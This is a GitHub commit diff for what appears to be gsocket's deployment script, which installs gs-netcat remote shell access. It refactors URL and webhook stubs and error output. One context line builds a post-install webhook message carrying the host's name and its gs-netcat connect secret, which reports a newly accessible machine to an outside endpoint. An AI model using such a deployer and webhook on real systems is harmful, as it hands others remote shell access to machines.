-
Notifications
You must be signed in to change notification settings - Fork 131
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
49 additions
and
27 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -74,6 +74,19 @@ | |
|
||
URL_BASE_CDN="https://cdn.gsocket.io" | ||
URL_BASE_X="https://gsocket.io" | ||
|
||
# -----BEGIN deploy_server.sh HOOK----- | ||
# These stubs are filled out by deploy_server.sh: | ||
IS_DEPLOY_SERVER= | ||
URL_BASE= | ||
[[ -n $URL_BASE ]] && [[ -z $GS_URL_BASE ]] && GS_URL_BASE="$URL_BASE" | ||
[[ -n $IS_DEPLOY_SERVER ]] && unset GS_BRANCH | ||
gs_deploy_webhook= | ||
GS_WEBHOOK_404_OK= | ||
[[ -n $gs_deploy_webhook ]] && GS_WEBHOOK="$gs_deploy_webhook" | ||
unset gs_deploy_webhook | ||
# -----END deploy_server.sh HOOK----- | ||
|
||
[[ -n $GS_URL_BASE ]] && { | ||
URL_BASE_CDN="${GS_URL_BASE}" | ||
URL_BASE_X="${GS_URL_BASE}" | ||
|
@@ -90,12 +103,6 @@ URL_BIN_FULL="${URL_BASE_CDN}/full" # full version (with -h working) | |
} | ||
[[ -n $GS_URL_DEPLOY ]] && URL_DEPLOY="${GS_URL_DEPLOY}" || URL_DEPLOY="${URL_BASE_X}/x" | ||
|
||
# STUBS for deploy_server.sh to fill out: | ||
gs_deploy_webhook= | ||
GS_WEBHOOK_404_OK= | ||
[[ -n $gs_deploy_webhook ]] && GS_WEBHOOK="$gs_deploy_webhook" | ||
unset gs_deploy_webhook | ||
|
||
# WEBHOOKS are executed after a successfull install | ||
# shellcheck disable=SC2016 #Expressions don't expand in single quotes, use double quotes for that. | ||
msg='$(hostname) --- $(uname -rom) --- gs-netcat -i -s ${GS_SECRET}' | ||
|
@@ -1148,7 +1155,7 @@ WARN_EXECFAIL() | |
ls -al "${DSTBIN}" | ||
echo -e "${CN}--> ${WARN_EXECFAIL_MSG} | ||
--> GS_OSARCH=${OSARCH} | ||
--> ${CDC}GS_DSTDIR=${DSTBIN%/*}${CN} | ||
--> GS_DSTDIR=${DSTBIN%/*} | ||
--> Try to set ${CDC}export GS_DEBUG=1${CN} and deploy again. | ||
--> Please send that output to ${CM}[email protected]${CN} to get it fixed. | ||
--> Alternatively, try the static binary from | ||
|
@@ -1797,6 +1804,7 @@ try_network() | |
FAIL_OUT | ||
[[ -n "$ERR_LOG" ]] && echo >&2 "$ERR_LOG" | ||
WARN_EXECFAIL | ||
errexit | ||
} | ||
|
||
# install <osarch> <srcpackage> | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters